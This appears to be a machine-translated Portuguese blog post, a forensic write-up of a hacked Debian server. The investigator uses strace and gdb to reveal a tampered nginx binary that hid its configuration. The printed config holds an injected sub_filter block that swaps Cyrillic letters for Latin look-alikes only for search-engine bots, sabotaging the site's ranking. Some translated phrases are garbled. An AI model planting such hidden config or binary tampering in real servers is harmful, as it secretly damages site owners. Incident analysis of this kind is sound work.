Quando 'a' não é igual a 'a'. Na sequência de um hack

Uma história muito desagradável aconteceu com um de meus amigos. Mas por mais desagradável que tenha sido para Mikhail, foi igualmente divertido para mim.

Devo dizer que meu amigo é bastante UNIX-user: pode instalar o sistema sozinho mysql, php e faça configurações simples nginx.
E ele tem uma dúzia ou um site e meio dedicados a ferramentas de construção.

Um desses sites dedicados a motosserras está firmemente no TOP dos motores de busca. Este site é um revisor não comercial, mas alguém adquiriu o hábito de atacá-lo. Que DDoS, depois força bruta, depois escrevem comentários obscenos e enviam abusos para a hospedagem e para o RKN.
De repente, tudo se acalmou e essa calma acabou não sendo boa, e o site começou a sair gradativamente do topo dos resultados da pesquisa.

Quando 'a' não é igual a 'a'. Na sequência de um hack

Isso foi um ditado, depois a própria história do administrador.

Já era quase hora de dormir quando o telefone tocou: “San, você não quer olhar meu servidor? Parece-me que fui hackeado, não posso provar, mas a sensação não me abandonou pela terceira semana. Talvez seja hora de eu receber tratamento para a paranóia?

O que se seguiu foi uma discussão de meia hora que pode ser resumida da seguinte forma:

  • o solo para hackear era bastante fértil;
  • um invasor pode obter direitos de superusuário;
  • o ataque (se ocorreu) foi direcionado especificamente a este site;
  • as áreas problemáticas foram corrigidas e você só precisa entender se houve alguma penetração;
  • o hack não afetou o código do site e os bancos de dados.

Em relação ao último ponto.

Quando 'a' não é igual a 'a'. Na sequência de um hack

Apenas o IP front-end branco olha para o mundo. Não há troca entre os backends e o frontend exceto http(s), os usuários/senhas são diferentes, nenhuma chave foi trocada. Nos endereços cinza, todas as portas, exceto 80/443, estão fechadas. Os IPs de back-end brancos são conhecidos apenas por dois usuários, em quem Mikhail confia totalmente.

Instalado no front-end Debian 9 e no momento em que a chamada é feita, o sistema é isolado do mundo por um firewall externo e parado.

“Ok, me dê acesso”, decido adiar o sono por uma hora. “Vou ver com meus próprios olhos.”

Aqui e mais:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Procurando por um possível hack

Eu inicio o servidor, primeiro em modo de resgate. Eu monto os discos e os folheio au-Histórico, história, logs do sistema, etc., se possível, verifico as datas de criação dos arquivos, embora entenda que um cracker normal teria “varrido” atrás de si mesmo, e Misha já havia “pisado” muito enquanto procurava por si mesmo .

Começo no modo normal, ainda sem entender bem o que procurar, estudo as configurações. Em primeiro lugar, estou interessado em nginx já que, em geral, não há mais nada no frontend além dele.
As configurações são pequenas, bem estruturadas em uma dúzia de arquivos, basta dar uma olhada neles gato'ah, um por um. Tudo parece estar limpo, mas nunca se sabe se perdi alguma coisa incluir, deixe-me fazer uma lista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Não entendi: “Onde está a listagem?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Uma segunda pergunta é adicionada à pergunta da listagem: “Por que uma versão tão antiga do nginx?”

Além disso, o sistema acredita que a versão mais recente está instalada:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Estou ligando:
- Misha, por que você remontou nginx?
- Espera, eu nem sei como fazer isso!
- Ok, bem, vá dormir...

nginx ele foi claramente reconstruído e a saída da listagem usando “-T” está oculta por um motivo. Não há mais dúvidas sobre hacking e você pode simplesmente aceitá-lo e (já que Misha substituiu o servidor por um novo de qualquer maneira) considerar o problema resolvido.

E, de fato, já que alguém obteve os direitos raiz'ah, então só faz sentido fazer reinstalação do sistema, e era inútil procurar o que havia de errado ali, mas desta vez a curiosidade derrotou o sono. Como podemos descobrir o que eles queriam esconder de nós?

Vamos tentar rastrear:

$ strace nginx -T

Nós olhamos para isso, claramente não há linhas suficientes no traço à la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Apenas por diversão, vamos comparar as descobertas.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Acho que parte do código /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

foi trazido para a forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ou

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

portanto a listagem por "-T" não é exibida.

Mas como podemos ver nossa configuração?

Se meu pensamento estiver correto e o problema estiver apenas na variável ngx_dump_config vamos tentar instalá-lo usando gdb, felizmente há uma chave --com-cc-opt -g presente e espero que a otimização -O2 não vai nos machucar. Ao mesmo tempo, como não sei como ngx_dump_config poderia ser processado em caso 'T':, não chamaremos este bloco, mas o instalaremos usando caso 't':

Por que você pode usar '-t' e também '-T'Processamento de blocos se(ngx_dump_config) acontece dentro se(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Claro, se o código for alterado nesta parte e não em caso 'T':, então meu método não funcionará.

Teste nginx.confJá tendo resolvido o problema experimentalmente, foi estabelecido que é necessária uma configuração mínima para o funcionamento do malware nginx tipo:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Iremos usá-lo por questões de brevidade no artigo.

Inicie o depurador

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Os passos:

  • definir um ponto de interrupção na função a Principal()
  • lance o programa
  • altere o valor da variável que determina a saída da configuração ngx_dump_config=1
  • continuar/terminar o programa

Como podemos ver, a configuração real difere da nossa, selecionamos uma peça parasita dela:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Vamos dar uma olhada no que está acontecendo aqui em ordem.

Estão determinados User-Agentdo yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

As páginas de serviço estão excluídas wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

E para aqueles que se enquadram em ambas as condições acima

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

No texto html-mudança de páginas 'O' em 'o' и 'A' em 'uma':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Isso mesmo, a única sutileza é que 'um' != 'um' bem como 'o' != 'o':

Quando 'a' não é igual a 'a'. Na sequência de um hack

Assim, os bots dos mecanismos de busca recebem, em vez do texto normal 100% cirílico, lixo modificado diluído com latim 'uma' и 'o'. Não me atrevo a discutir como isso afeta o SEO, mas é improvável que tal confusão de letras tenha um impacto positivo nas posições nos resultados de pesquisa.

O que posso dizer, caras com imaginação.

referências

Depurando com GDB
gdb(1) — página de manual do Linux
strace(1) — Página de manual do Linux
Nginx - Módulo ngx_http_sub_module
Sobre serras, motosserras e serras elétricas

Fonte: habr.com

Adicionar um comentário